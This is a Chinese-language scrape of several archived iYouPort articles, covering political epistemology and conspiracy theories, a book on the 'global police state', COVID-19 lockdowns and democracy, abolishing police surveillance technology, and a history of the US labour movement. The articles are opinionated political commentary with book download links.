这就是大谎言和阴谋对民主的认识论威胁。它们积极地破坏了人们遵守一套共同的“认识论规则”的意愿——关于什么是证据，什么不是。这就是为什么要对它们作出回应的原因：人们越是逃避它们，知识两极化和有毒的傲慢之火就会被浇上更多的汽油。

那些从事政治认识论工作的人——包括那些为一本关于这一主题的学术性新“手册”撰稿的人——可以帮助人们掌握这些威胁；并且，他们也可以帮助人们了解如何与这些威胁作斗争。

一个正在进行的争论涉及到对大谎言和阴谋论的事实核查是否有帮助。有些人引用所谓的 “逆火效应”（Backfire effect），声称辟谣实际上只会使事情变得更糟（会使那些被谎言控制的人更加深入其中）。最近的研究表明，幸运的是这种效应被夸大了。但仍值得澄清 “帮助” 在这里到底意味着什么。

对于那些被傲慢的意识形态所控制，坚信只有自己知道而其他人都是白痴的人来说，充其量只是向他们抛出更多的事实是不会有任何帮助的—— 如果这里所说的 “帮助” 是指 “改变他们的想法” 的话。对于这一点必须明确：在这种情况下，重要的不是改变他们的想法，而是让他们远离权力的控制感。

但这是短期游戏。我们还必须关注长期游戏。幸运的是，正如芬兰人一直在表明的那样，数字扫盲如果从小开始，就会得到回报。我们才刚刚开始了解知识是如何在互联网上被消费、传播和破坏的；但有一点是众所周知的，那就是网络信息的高度个性化正在助长知识的两极化。人们在网上遇到的几乎所有东西—— 从 Facebook 上的新闻到最喜欢的新闻网站上的广告—— 都是根据每个人的喜好定制的，即 定制人。而这意味着，让人们找到想看的东西变得如此光鲜简单的算法，也让人们极不可能随随便便就能遇到任何东西，除了那些自己已经容易相信的 “事实”。把这一点教给年幼的孩子们—— 让他们去思考阴谋论和批判性思维之间的区别—— 应该是一件很容易的事。

用卡萨姆的话来说，我们能做的另一件事就是 “揪出” 谎言和阴谋的政治毒药。这样做是很重要的，并不是因为这样做可以说服骗子，而是因为这样做可以证明我们自己的信念和价值观 —— 包括民主制度中真相的价值。

这就是事实和证据的意义：它们之所以重要，不仅仅是因为它们能帮助人们更清楚地看到真实的世界，而是因为它们具有基本的民主功能。认识论规则是民主游戏之所以成为民主游戏的一部分，在这个空间里，人们不是用枪而是用理性的交流来解决问题。

当然，这些建议不是说起来那么容易的。已经不能满足于按照自己一直使用的旧的认识论规则来玩。一方面，人们接受信息方式的技术变化显然需要改变评价证据的方式；但另一方面，需要意识到我们的知识和信仰机构是如何被结构化的，以再现种族主义和民族主义的傲慢意识形态。正如从桑德拉·哈丁到刘易斯·戈登等女权主义和黑人哲学家几十年来一直在说的那样，我们需要认识到，这些机构也孤立和边缘化了那些具有讽刺意味的、最能看到其错误的人。因此，我们需要尊重认识论规则，是的，但也需要制定新的规则。接受这项任务就是

接受政治认识论的政治部分。

也不能忽视对任何认识论事业最核心的概念多说几句的必要性。至少在硝烟散去之后，人们很容易看到，政治判断往往是错误的。从移民到医保，人们弄错的次数比弄对的次数更多。这就提出了一个问题：在政治上首先要讲求事实的重要性 —— 在涉及人的任何事上都要讲求真相。这种挑战的困难正是使罗蒂放弃真相在政治中无用的观念的部分原因。但当下的情况与他不同。当下已经不再有把认识论放在一边的选择。相反，我们必须重塑认识论。〇

真理的价值

原文

Books 随着世界资本主义陷入危机，全球警察国家正在崛起 - iyouport

免费书和纪录片社会反抗和思考

【2021年6月4日存档】资本主义制度建立了一个全球性的警察国家，它把这种合作变成了对大量人类的破坏过程，因为人们不得不为了生存而相互竞争。价值观、身份、意义和社区的危机接踵而至。

【按】本文来自2020年的新书《全球警察国家》，与其他讨论警察国家的书籍和论文不同，这本书尝试寻找的是造成这一全球性灾难的根源性问题。正如作者所形容的：反抗者需要把刀真正架在敌人的脖子上，这意味着首先您必需准确找到脖子在哪。

您可以点击文章中嵌入的链接寻找更多相关内容和解释。

在她的小说《一切皆知》中，丽莎·埃利奥特（Liza Elliott）描述了一个荒诞的未来世界，在这个世界里，被称为“联盟”的五家全球巨头公司统治着整个星球。

“所有人遭受着无法逃避的监控行业的侵扰，全球五大巨头操纵大数据，将人类的所有活动商品化、商业化，以获取利润”。这听起来太耳熟了，并不像小说。

该联盟组织让国家臣服于他们的统治之下。“乔治-奥威尔说错了： 老大哥不是来自极权国家，而是来自极权主义的非国家”。

大数据是“一个无情的控制论鼻祖，它用鬼鬼祟祟的眼睛和无处不在的监听耳朵监视着一切：你的穿着、你的朋友，记录着你所说或所写的每一句话。它记录了所有这一切以及更多的信息，以积累控制市场所需的信息力量，即：货币经济的心跳”。 世界上的人口已经被分成了三个彼此隔离的社会群落，核心人群、外围人群、和构成人类大多数的离群者—— 也就是我们这些“普通人”：

离群者是被抛弃的人。如果你不能在该垄断联盟运行的世界中发挥作用，你就会被抛弃。你窘迫的生活、你的各种遭遇，都是你自己的错。永远不会有人同情你。你只能从富丽堂皇的核心区和赤裸裸的外围区中收集腐烂的、损坏的、无法出售的过剩物品，拼凑出一种生活。你们中有些人做着不可预知的边缘田间劳作，而另一些人则在残羹剩饭、废品和垃圾堆里靠拾荒苟活。

埃利奥特所描述的世界，正是我们生活的这个世界的写照。

资本在全球范围内的空前集中，巩固了跨国企业精英的金融实力，他们利用其经济实力发挥政治影响力，控制国家。2018年，仅17家全球金融集团就合计管理了41.1万亿美元，超过整个地球GDP的一半；同年，全球最富有的阶层（由3600万个百万富翁和2400个亿万富翁组成）控制了全球一半以上的财富，而底层的80%人口只能凑合这些财富的 4.5%。正是这一大批落魄的人类，构成了埃利奥特所描述的“外围和离群者”，也就是后面几页中所描述的 “多余的人类”。

- 《动物农场的世界》

然而，二十一世纪的技术基础设施正在产生资源，在这些资源中，可以建立一个与我们生活的全球资本主义截然不同的政治和经济制度。

通过民众对新技术的政治控制 —— 技术的民主化，我们可以集体改变我们的世界，使之变得更好。

机器正在完成十年前还无法想象的任务。正如 Srnicek 和 Williams 提醒的那样，互联网和社交媒体正在为数十亿以前未被听到的人提供发声机会，使全球参与式民主比以往任何时候都更接近存在。开源设计、自由软件创意和3D打印都预示着一个可能克服许多产品稀缺性的世界。新形式的计算机模拟可以让经济规划重新焕发活力，让我们有能力以前所未有的方式理性地引导经济。最新的自动化浪潮正在创造一种可能性，使大量枯燥和低级的工作被永久地淘汰。清洁能源技术使几乎无限的、环境可持续的电力生产形式成为可能。而新的医疗技术不仅能让人活得更久、更健康，还能让性别和性取向的新实验成为可能 ……

然而，如果要通过第四次工业革命的这些新技术来解放自己，首先就需要推翻全球资本主义的压迫性和陈旧的社会关系。当法西斯主义再次出现在全世界的议程上时，人们应该研究的是全球资本主义制度，与其说它本身是一种知识分子锻炼，不如说是为了与它的掠夺进行斗争，以期用一种能够避免灾难和满足人类物质和精神需求的制度来取

代它。

这个系统的代理人此时正在应用一系列的新技术，并不是为了解放人类，而是为建立一个全球性的警察国家。

虽然这本书绝不是第一个谈论警察国家的，但这本书的意思远远超过了人们通常认为的与警察国家相关的东西 —— 警察和军队镇压、专制政府、压制公民自由和人权。当然，我们在世界各地都能看到这种情况，甚至更多的这类情况。然而，这本书想要发展的是全球警察国家的概念，以更广泛地确定全球经济和全球社会作为一个压制性整体的新兴特征，其逻辑既是经济和文化的，也是政治的。

这本书所说的全球警察国家是指三个相互关联的发展。

首先是统治集团为遏制全球工人阶级和 “多余的人类” 的真实和潜在的反抗而推行的日益无所不在的大规模社会控制、镇压和战争体系。

野蛮的全球不平等在政治上具有爆炸性，在制度根本无法容纳 “过剩人类” 的情况下，它就会转向更加暴力的遏制方式。控制的方法包括通过边境和其他隔离墙、驱逐制度、大规模监禁、和空间隔离，以及无处不在的新的国家和私人监控系统，以及对穷人和工人阶级的刑事定罪，将 “过剩的人口” 封闭起来。

它们还包括应用数字化的和第四次工业革命技术所带来的新的致命的维稳和镇压方式。全球警察国家将全球社会都纳入了五角大楼行话所说的 “战斗空间” 中，集中在世界的大城市，而这些城市现在是一半以上人类的家园。

第二，全球经济本身如何越来越多地建立在发展和部署这些战争、社会控制、和镇压制度的基础之上，仅仅是作为在停滞不前的情况下赚取利润和继续积累资本的手段 —— 这本书称之为军事化积累；或通过镇压进行积累。

如果说空前的全球不平等只能靠无处不在的社会控制和压迫系统来维持，那么同样明显的是，除了政治上的考虑之外，统治集团在战争、冲突和压迫中获得了作为积累手段的既得利益。随着战争和国家支持的暴力日益私有化，广泛的资本主义集团的利益将政治、社会和意识形态的氛围转向产生和维持社会冲突 —— 比如在中东—— 以及扩大战争、镇压、监视和社会控制的体系。

针对毒品、所谓的恐怖主义、移民和难民的 *虚假战争* 是巨大的利

润企业。我们现在生活在一个名副其实的全球战争经济中。

第三，越来越多的政治制度被定性为二十一世纪的法西斯主义，甚至在更广泛的意义上被定性为极权主义。以美国特朗普主义为首要象征的新法西斯主义、专制主义、右翼民粹主义政党和运动，在全世界范围内的影响力越来越大，引发了关于法西斯主义是否再次崛起的热议。世界各地出现了尖锐的两极分化，一方面是反叛的左翼和民众力量，另一方面是反叛的极右翼，其边缘是公开的法西斯主义倾向。

二十一世纪法西斯主义项目正在世界许多国家的民间社会中兴起。近年来，该项目在争夺国家权力方面取得了重大进展，在某些情况下，它已经在资本主义国家中站稳了脚跟。与此同时，一种新法西斯主义文化似乎正在通过军国主义、厌女症、和种族主义而出现。这样的文化产生了一种有利于大规模暴力的氛围，往往是针对被种族压迫、民族迫害的人群，女性以及贫穷人口、和弱势的被边缘社区。

但法西斯主义的结果并非不可避免。法西斯主义项目能否成功凝结，完全取决于未来几年社会和政治力量之间的斗争如何展开。

这个全球警察国家是在世界资本主义陷入空前危机的时候出现的，鉴于其规模之大、全球范围之广、生态退化和社会恶化的程度，以及现在部署在世界各地的暴力手段的规模，这种危机是前所未有的。首先，全球警察国家是一个控制和压制穷人和工人阶级的故事；反对全球警察国家的许多表现形式的运动越来越多—— 大规模监禁、警察暴力、美国领导的全球战争、对移民和难民的迫害、对环境正义活动家的镇压。

然而，这些运动往往是基于对社会正义的道德呼吁，而社会正义本身最多只能带来温和的改良。如果这些运动要进攻全球警察国家的颈静脉，就必须把全球资本主义确定为战略性打击的社会控制和压迫系统的驱动力。

这本书试图做到这一点。它着手识别当代资本主义转型的动力和正在出现的新形式。这种全球警察国家的概念使反抗者能够更加明确全球资本主义转型的经济层面与这种转型的政治、意识形态和军事层面，如何以新的方式交汇 ....

这本书提供了一幅新兴的全球警察国家的“全景图”，可读性非常强。其内容也许会吓到很多读者，让他们感到愤怒；但这部作品无疑将对我们即将到来的荒诞未来起到了警示作用。

更重要的是，通过揭露这个失控系统的本质和动力，希望这本书能有助于为实现基于人类自由和解放的另一个未来而进行的斗争。

作者写道：我们确实面临着人类的危机。在全球资本主义下，全球社会结构的破坏和劳动的极度异化，提出了关于人类的意义和如何恢复人性的根本问题。我们物种的天性就是共同合作，保证我们的集体生存；但是，资本主义制度建立了一个全球性的警察国家，它把这种合作变成了对大量人类的破坏过程，因为人们不得不为了生存而相互竞争。价值观、身份、意义和社区的危机接踵而至。

它警告说，如果要恢复我们的人性，就必须首先对抗资本，将我们自己重新嵌入互惠和共同福祉的关系中。构想在全世界范围内恢复解放项目的前景，必需面对振兴进步派的挑战。

在这里下载这本书：https://www.patreon.com/posts/sui-zhao-shi-jie-48444986

○

原文

Covid-19 与民主的未来：个人主义和集体主义之间真的需要非此即彼吗？ - iyouport

COVID-19(84)社会反抗和思考

【2020年10月15日存档】民主已经衰退十多年了，许多人担心 Covid-19 将加速这一趋势。于是据此，这篇文章分析了各国对 Covid-19 的政策回应的严格性和有效性。

尽管专制政权倾向于采取更严格的政策措施，但与民主制相比，这些措施在减少专制国家的流动性方面往往不太有效。

研究还比较了具有集体主义文化和个人主义文化的国家，表明前者在采取减少流动性的措施方面更为成功。

在民主衰落之际，Covid-19 大流行正在蔓延。根据自由之家（Freedom House，2020）收集的数据，民主已经陷入衰退十多年了，每年都有更多的国家失去而不是获得公民权利和政治权利。

关键问题在于，Covid-19 将把民主衰退变成萧条，威权主义像大流行一样席卷全球。

正如《纽约时报》所说，“中国及其拥护者已经声称，北京成功地应对了冠状病毒大流行，这是威权统治优越性的有力例证”。

甚至世界卫生组织（WHO）也称中国强有力的封锁“也许是历史上最雄心勃勃的、最敏捷的和最具侵略性的疾病遏制措施”。

这就提出了一个问题：中国是一个例外吗？还是专制政权总体上能够采取更严格的政策措施来限制人们四处走动和传播这种病毒？如果是这样，它们是否真的更有效？

为了探讨这些问题，本文研究了应对 Covid-19 大流行的政府和文化基础。

为了衡量各国为应对大流行而制定的政策的严格程度，这里使用了牛

津COVID-19政府反应跟踪器（OxCGRT），该跟踪器提供了有关多种措施的信息，包括学校和工作场所的停业、旅行限制、对公众聚会的禁止、和留在家中的要求。

为了掌握这些应对措施在减少出行和活动以遏制病毒传播方面的有效性，研究采用了Google的COVID-19社区流动性报告。

下图1显示，随着采取更严格的政策措施，一些研究对象国家的旅行减少了。

但是，该图还显示，即使在政策严格程度相似的情况下，跨国流动的分散性也很大。

Figure 1 Lockdown measures and cross-country reduction in mobilitySources: OxCGRT; Google’s COVID-19 Community Mobility Reports

威权政府在减少人员流动方面是否更有效？

「图」

可以肯定的是，政治分歧和强大的商业利益可能使在民主国家实行严格的封锁变得更加困难。为了验证这一点，研究使用了自由之家（2020）的民主指数。

研究发现，更多的专制政权确实引入了更严格的封锁措施，并更多地依赖诸如行程追踪之类的侵犯隐私的措施。

但是回归分析还表明，当民主政体与专制政体采用相同的流动限制时，他们的流动性将急剧下降。

当向其中添加许多控制措施时，例如国家能力、人均GDP、过去流行病的经验等等因素，这一结果也成立。

尤其是，通过观察就政治权利和公民权利采取的补充措施，足以发现，更大的自由度与更大程度的行动和出行减少相关。简单说，强制封锁可能激发了更大的反封锁行动，而自由状态下的人们会更主动地减少出行。

尽管这些相关性不能解释为因果关系，但是它们提供了暗示性的证据，尽管专制政权往往会实行更严格的封锁，但在减少出行方面却效果不佳。

确实，尽管中国的严格封锁已引起媒体的最多关注，但其他东亚国家无疑对Covid-19采取了更有效的应对措施。

文化价值观和行动限制的有效性

「图」

另一个理论是，某些文化比其他文化更仰仗服从，促使人们更好地遵循更严格的锁定措施。

尽管不同社会在许多文化层面上都存在差异，但跨文化心理学家将个人主义和集体主义的区别视为主要区别。

学者们表明，个人主义具有动态优势，可以通过对不遵从性和创新给予社会地位奖励来提高经济增长率。

但是，鼓励实验和创新的个人主义文化的反面是，它会使集体行动更加困难（例如对大流行的协调性反应）。这是因为在个人主义社会中的人们倾向于追求自己的利益，而不是集体利益。另一方面，集体主义强调集体对上级的忠诚，顺从和服从，使协调集体行动更加容易。

为了衡量国家之间个人主义-集体主义的差异，研究采用了Hofstede（2001）广泛被使用的量表，该量表综合了有关目标、成就取向和家庭关系的问题。

此外还根据 World Value Survey（WVS）的数据构建了对服从态度的指数。

分析表明，类似严格程度的政策在个人主义文化中的确减少了流动性，相比在服从性文化中减少的流动性更多。

下面图2以图形方式显示了结果。它表明，在减少流动和旅行方面，集体主义国家对Covid-19采取了更加协调性的反应。研究还发现，与非必要活动相关的运动（例如去公园）表现出特别明显的急剧下降。

Figure 2 Individualism, obedience and the reduction in mobilityNote: Each dot in the charts represent, for each country, the change in mobility index that is not explained by the policy stringency index. The obedience index is the first component of a Principal Component Analysis based on World Value Survey (WVS) data. Sources: Authors' own calculations based on Hofstede (2001);

WVS; OxCGRT; Google’s COVID-19 Community Mobility Reports.

结论

「图」

民主已经衰退十多年了，许多人担心Covid-19将加速这一趋势。在菲律宾，总统杜特尔特（Rodrigo Duterte）夺取了更大的权力，并威胁采取戒严措施，将封锁期不断延长。2020年3月30日，匈牙利国会通过了《冠状病毒法》，该法律赋予维克多·奥尔班政府无限期的且前所未有的所谓紧急状态权力。

从专制政权对危机的反应来看，我们认为民主衰退不会加速。

首先，专制政权缺乏透明度一直是抗击大流行的无可争辩的缺点。

在土库曼斯坦，人们仅因在公共场所讨论疫情就遭遇被捕，医生被禁止诊断 Covid-19。尽管习近平批准后，中国成功地动员了国家的强烈反应，但最初由于缺乏透明度而延迟了采取决定性措施来遏制该病毒在中国及全球的蔓延。

其次，研究表明，尽管独裁政权实施了更为严格的封锁，但民主政体在减少本国的旅行和人员流动方面更加有效。

因此，尽管独裁者经常试图利用可察觉到的威胁，但他们在这些方面对这种流行病的处理似乎不太可能吸引外界。

在大量文献的基础上，研究发现一个国家在执行行动限制方面的能力以及其文化，在解释各国在大流行期间的表现时，是更相关的变量。

跨文化心理学家认为，集体主义社会在控制疫情方面更加成功。这项研究也证明了这点。一种直觉性的观点认为，集体主义文化奖励顺从性和团体忠诚度，对上级的服从使集体行动更加容易。

Hofstede 量表也显示，高度集体主义的东亚国家，戴口罩来保护同胞的习惯与西方的态度形成鲜明对比。

虽然集体主义社会在应付需要集体行动的流行病方面处于有利位置，但是，集体主义文化历来会经历较慢的经济增长、较少的动力和创新，并倾向于专注于渐进式创新，而不是根本性突破。

与Covid-19战斗不仅需要协调以遏制病毒的传播，还需要创新才能找

到治疗方法和疫苗。

流行病从定义上讲是全球性的，因此需要采取全球性对策来利用个人主义国家的创新能力、以及集体主义国家的协调能力和生产能力。

【按】关于个人主义和集体主义

「图」

IYP不认为个人主义和集体主义是非此即彼的。

理论上，个人主义可以作为一种政治系统发挥作用。你需要想象一个世界，在这里，没有人会束手无策，地球拥有无限的资源，生态系统也无限强大。但是，我们目前还无法生活在这样的世界里。

现实中的世界是，每个人天生都是无助的，有人需要被照顾，人们会生病，会变得残疾，许多人都经历过虚弱和无力 …… 现实是一个生态系统脆弱且资源有限的世界。

个人主义没能对这个现实世界给出真正的答案。相信它的唯一方法是将许多事情与现实隔离开，并拒绝承认那些需要帮助的人必须从家庭成员或慈善机构获得援手，为了保持盈利而拒绝承认生态灭绝的趋势。

但开明的集体主义就完全不同了。

请不要误会，这绝对不是否定个人主义，正相反，是个人主义的一种提升。

个人主义者往往比一般人对自主权的概念更为清醒，它将是任何健康世界的重要组成部分。当涉及到您自己身上发生的事时，集体主义不应该拥有任何权力。您身上发生的一切都应该完全在您自己的控制之下。

更重要的是，个人主义重视对自己的内在状态承担个人责任。确保您的幸福与安宁最终不是集体的责任，而是您个人的责任。

集体的责任是确保该集体中每个成员的基本物质需求都能得到满足，但是当涉及到与自己的一切以及与世界的健康关系时，这就是您的个人工作了。

集体为您带来了一个环境，而任何依附、利用、改善这个环境的工

作，都是您个人的事。

然而在个人主义思想上投入大量精力的人们经常会忽略自己的群体身份，他们经常避免参与任何争取团体权利的抗议。

首先是要成为人，然后才能汇集为集体。只有内在的个人主义才能帮助每个人认清自己、成长和摆脱困境，这是集体做不到的事。

但是集体主义思想家常常忽略了这一点，这就是为什么将精力和注意力投入到政治极左的人经常是悲惨而神经质的。因为他们将所有力气都花在了将意识向外扩展到经济、种族和社会动态中，而忽略了扩展到自身内在动态中的责任。

绝对的个人主义和绝对的集体主义都是偏执的。

更理想的是，从您的身体周边向外，最好成为一个激进的集体主义者，并为集体困境寻求集体解决方案；而向内，最好成为一个激进的个人主义者，敏锐地了解发生在其中的一切都是您的责任，而没有也不应该有其他人应该横加干涉。

您需要知道自己的健康问题、生育问题、思想和观点都不应该被社会、政府、民族或国家做任何干涉；而当您所处的阶层、民族、职业、社区遭遇危险、压迫和侵害的时候，您应该了解自己作为其中一员的责任，并为捍卫共同利益和所有同道站在一起。

集体主义为集体工作，个人主义为个人工作。您无法在所有可能的人类规模上应用一种通用系统；个人需要与家庭不同的系统，家庭需要与社区不同的系统，社区需要与国家不同的系统，国家需要与星球不同的系统。清楚地了解每个级别的区别将有助于所有方面的集体。

民主需要每个公民自身的清醒、创造力和革新的积极性，也同时需要人与人之间的协作、关爱和为共同目标所作出的努力。〇

Covid-19 and the future of democracy

原文

一家寡头退出面部识别市场是远远不够的 - iYouPort

免费书和纪录片无处不在，无处可逃-所谓的“智能”是什么社会反抗和思考

如果人民能接受的唯一策略是修改和监管这些技术的使用，那将意味着放弃人民自己的权利并阻止其他选择。

「图」

「图」

亚马逊、IBM和微软宣布退出面部识别市场或暂停向警察提供此类软件，一大群媒体跟着炒作这些事。所以您一定是听说过了。

对于长期以来一直在研究面部识别的严重问题并推动管制或禁止该软件的活动家和学者而言，毫无疑问，大型科技公司对公众压力的这种连锁反应是真正的胜利。

但是，同时，这些公司的行动显然是经过深思熟虑的业务决策。

- 《忘记面部识别吧，智能手机监控你如何行走、如何打字以及”空闲时间都干了什么”》

IBM在面部识别方面落后，它看到了全身而退的计划，并顺便抢了个公关头彩；亚马逊和微软只是勉强停顿一下，直到国会制定出警方部署面部识别的监管标准 —— 请注意，他们将不可避免地会游说以影响和攻克这些法规。

最终，这些动作与 Chris Gilliard 所说的 #BlackPowerWashing 相同。当然，这比那些空谈的公司营销声明要重得多，那些空谈的公司营销声称关心系统性种族主义，而这些家伙只是看了一眼周边然后发了一条推文。仅此而已。

要在人权争夺战中取得真正的进步，就需要拆除现在正支配着所有人

的城市战争机器。

- 为什么说它是城市战争机器？见《被俘虏的城市：为什么人们会接受可怕的军统？》

必须通过系统性地解构、捣毁和禁止这些反乌托邦技术来倒转时钟——从面部识别开始，但绝不止于此。

它们是布满了空中和街道上的硬件和软件，无处不在的监视摄像头和隐藏的黄貂鱼，数据分析和少数派报告式的算法专制，指挥室和所谓的智能系统。

- 《上帝之眼：一个没有秘密的世界意味着什么？》
- 《“如果你不偏执，那就是疯了”》

这些旨在夺取城市并“主导战场”的技术，在拒绝压迫的任何社会中都不应该有一席之地。

拆除警务机制是对抗通过此基础架构传递的权力形式的必要方法。

可以将其视为 Marie Kondo 式的整理，但要考虑技术因素。这件事是否有助于人类的福祉和/或社会福利？如果没有，扔掉它！

担心侵入式监视技术的活动家、作家和学者可以庆祝诸如IBM从面部识别市场退出和亚马逊临时禁令等行动，但是，绝不能在此休息。

相反，这正是真正的工作必须发生的时候。我们一直在努力，尽可能地抵御；而现在，我们有机会反击并发挥自己的优势，形成能对 *警务工业综合体* 造成持久性废除的打击。

必须拆除在各地城镇中建立的监视基础设施。而不是去为特定技术的所谓“道德使用”找到“最佳实践”。

并不是满足于仅仅暂停一会儿，然后等到每个人都冷静下来后再重新开始；也不是允许向警察以外的所有人出售面部识别功能。这些都没有用。

- 《禁止面部识别可以做到什么、不能做到什么》

所有这一切改革都应该致力于让控制系统彻底失效，该控制系统已经太危险、太广泛和太强大。现有的技术政治安排还远不够完善。

并非所有创新都应该存在。首先绝不应该为侵入性监控和警务提供很多技术。如果人民能接受的唯一策略是修改和监管这些技术的使用，那将意味着放弃人民自己的权利并阻止其他选择。

对面部识别和大规模数据收集等反乌托邦技术实行彻底禁止，是公民武器库中的有效工具。这比消耗漫长的协商和委员会流程来制定一堆规则要容易得多，而警察总是能从那些规则中找到漏洞，或者干脆不遵守规则。

与此同时，反抗者必须能抓住重点。公民反抗也许能成功剥夺警察的权力，但是，如果警察和监视者的价值观和世界观仍然在城市结构中得以体现，那么他们的权力将永远存在。

在去年旧金山和奥克兰禁止使用面部识别软件后作家和研究员 Os Keyes 写道："只要保留了其基础设施遗产，就不足以使面部识别非法。"最终，所有这一切都必须被拆除、清理、解除，才能开辟新的前进道路。

群众运动的能量和对更美好世界的要求，迫使新的可能性得以开启。反抗者必须踢开那些自称为实用主义者的人，他们总是想从监视基础设施中找到所谓的利好一面，他们希望将重担绑在大街上成千上万的寻求正义者的脚上。

反抗必须致力于从根本上放弃这些监视技术，不是为了放弃而放弃，而是因为只有这样，才能从旧的废墟开始建立新的世界。

解散明尼阿波利斯警察部门的决定证明现有的权力秩序并非不可改变。但是反抗者必须明确，需要废除的不仅仅是机构，还有基础设施需要完全拆除。

从这些技术中获利的公司和利用这些技术对付公众的政府，他们自身并没有道德权威来告诉公民什么该保留、什么该扔掉。所以，别听他们的。

拆除那些维护庞大的警务基础设施的庞大预算，并取消与Palantir、Ring、Clearview AI 等公司的丰厚合同，把用来进行监视和社会控制的钱拿出来给学校和社会服务。

不要像业余爱好者那样，而是要像专业人员那样去做：曾经被这种监视基础结构所迫害的人们，应该被授予工作去淘汰那些现在必须被废弃的技术。○

Jathan Sadowski is the author of Too Smart: How Digital Capitalism Is Extracting Data, Controlling Our Lives, and Taking Over the World*, published by MIT Press, and a research fellow in the Emerging Technologies Research Lab at Monash University.*

Jathan Sadowski 的新书在这里下载：https://www.patreon.com/posts/dang-xia-di-yu-40001507

Now Is the Time to Dismantle Our Cities' Invasive Surveillance Infrastructure

原文

一路的腥风血雨：劳工运动不为人知的故事 - iyouport

免费书和纪录片社会反抗和思考

【2021年4月8日存档】每一分公平和正义都是通过反抗者的拼搏得来的；任何时候如果反抗者停下脚步，邪恶就会开始露头，并快速膨胀。

【按】本文将推荐一本书，见上图；这本书的第一版诞生于上世纪50年代，而就在2020年，它得到了再版，这是一个非常重要的时间点。（关于为什么，见《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》）

📌 希望这本书能为中国的劳工运动带来能量。在一个更糟糕的资本主义国家成为工人阶级，只唱国际歌是无法帮助您维护权益的。

这本书在这里下载：https://www.patreon.com/posts/yi-lu-de-xing-yu-457495521919年，一大群工人聚集在印第安纳州加里的美国钢铁公司外面。

在美国，私营部门的工会力量正在消退，有组织的劳工处于80多年以来的最低点。沃尔玛、亚马逊、家得宝和联邦快递等规模庞大、实力雄厚的雇主公司，完全没有工会。

每个人都觉得自己所处的时代是“最糟糕的时代”，而恰恰是这种绝望和虚无的心态 —— 而非现实 —— 导致了真正最糟糕的时代出现。绝望是一种傲慢。

要知道，在1933年，在大萧条的谷底，劳工运动面临着更加艰巨的任务，因为著名的工会成员经常被殴打、甚至被杀害，却完全没有工会的法律框架。

要怎样才能引发复兴？新的劳工组织者、活动家和会员可以从哪些历史中学习经验教训，成为其中的一员？

20世纪下半叶最奇特的出版成果之一，如今又有了新的再版，这是对1955年出版的《工会不为人知的故事》一书的复活。原作者是Richard O. Boyer 和《纽约客》杂志的自由撰稿人 Herbert M. Morais，一个失意的学者，后来成为了工会工作者。

这真是一本很棒的书，主流出版商大多避免出版的那种书，把真空留给了劳工本身 —— 特别是美国电气、无线电和机器工人联合会（United Electrical, Radio and Machine Workers of America，简称UE），这是劳工生态系统中比较折衷和有创造力的工会之一。

作为对当下再次崛起的工会否定论的解毒剂，这本书以通俗易懂的方式，详细介绍了劳工运动从暴力、令人心痛的失败、到最终取得大规模胜利的故事，尤其关注1936年至1945年产业工会联合会（现为AFL-CIO 中的CIO）的形成和崛起。

这本书从内战一直延伸到20世纪50年代，用一系列小插曲描述了美国劳工史上的英雄和恶棍们，从废奴主义者工会到所谓的“莫莉·马奎尔人”，从19世纪末农民与劳工联盟对抗铁路、金融和钢铁大亨的战斗，到1877年铁路大罢工，劳动骑士团和世界产业工人的兴起；到尤金·德布斯的总统竞选；从干草市场暴动、到露西·帕森斯为将被告从绞刑架上放下来而进行的斗争，从三K党和反移民歇斯底里的兴起、到红利军 ……最后到大萧条和持久的产业工会的兴起。总的来说，它让读者了解到美国工人是如何组织起来的，以及他们为此付出了什么样的代价。

【注：莫莉·马奎尔（Molly Maguires）是一个活跃在爱尔兰、利物浦和美国东部部分地区的爱尔兰19世纪秘密社团，以活跃在宾夕法尼亚州的爱尔兰裔美国人和爱尔兰移民煤矿工人中而闻名。这个名字来自资本家对反抗者的贬低。

劳动骑士团（Knights of Labour）是一个活跃于19世纪末、特别是1880年代的美国劳工联合会，其正式名称是高贵和神圣的劳动骑士团。它在美国和加拿大都在运作，在英国和澳大利亚也有分会。该组织促进了工人的社会地位和文化的提升，并要求每天八小时工作制。

尤金·V·德布斯，美国工会领袖，国际工人联合会与世界产业工人的创建者之一。曾于1900年代表社会民主党竞选美国总统，之后又分别于1904年、1908年、1912年与1920年四次代表美国社会党竞选总统。由于他在工人运动以及竞选活动中的表现，被认为是美国最知名的社会主义者之一。

干草市场暴动又称为干草市场屠杀，是1886年的美国大规模工运，它原本是一场和平游行，游行是为支持八小时工作制工人的罢工、还有回应前一天警方杀害多位工人的事件。但在一不明身份者在警察驱散抗议者的时候向警察投掷炸药，导致了最终的大屠杀。

露西·埃尔丁·冈萨雷斯·帕森斯（Lucy Eldine Gonzalez Parsons）是美国的劳工组织者，激进的社会主义者和无政府主义者。她被人们铭记为一位强大的演说家。

红利军（Bonus Army Conflict）是一支由43,000名示威者组成的团体，由17,000名美国一战退伍军人及其家人和附属团体组成，他们于1932年中旬聚集在华盛顿特区，要求提前兑现其服务证明。组织者描述示威者为“奖金远征军”，以呼应第一次世界大战的美国远征军的名字。】

对于当下的美国工会来说，一个根本性的问题是冷漠。会员不想参与，其中一个因素是没有意识到工会代表什么，没有理解到自己在工会中的存在意味着什么。

这本书是由UE出版的，这可能不是一个巧合，**UE**是一个以会员的意识形态动机而闻名的工会。如果除了**UE**之外，其他工会也能鼓励大众读者阅读这本书，也许他们就能开始解决这个冷漠的问题，并开始建立自己的内部组织。

事实上，以“会员管理本工会”为座右铭的UE，尽管规模不大，只有3.5万名会员，却一直站在现代美国劳工界一些最具创新性的斗争的前沿。（保守派工会在第二次世界大战后的红色恐慌时期几乎将UE淘汰）

2008年和2009年，UE领导了共和门窗厂的占领行动，并且近年来工会的大胜不断。在冠状病毒大流行期间，UE又组织了380名新成员。尽管其他工会规模庞大，但UE依旧是美国工会中第八大工人组织者。最近，UE与DSA合作，开展了一个雄心勃勃的冠状病毒疫情组织项目——紧急工作场所组织委员会。

【注：共和门窗厂总部位于伊利诺伊州芝加哥。该公司是由威廉·斯皮尔曼成立于1965年。】

这本书从南北战争开始，在奴隶主进攻萨姆特堡后，许多参与国家新兴劳工运动的人都加入了北军。整个工会地方解散，足见奴隶制对自由劳工利益的巨大威胁。

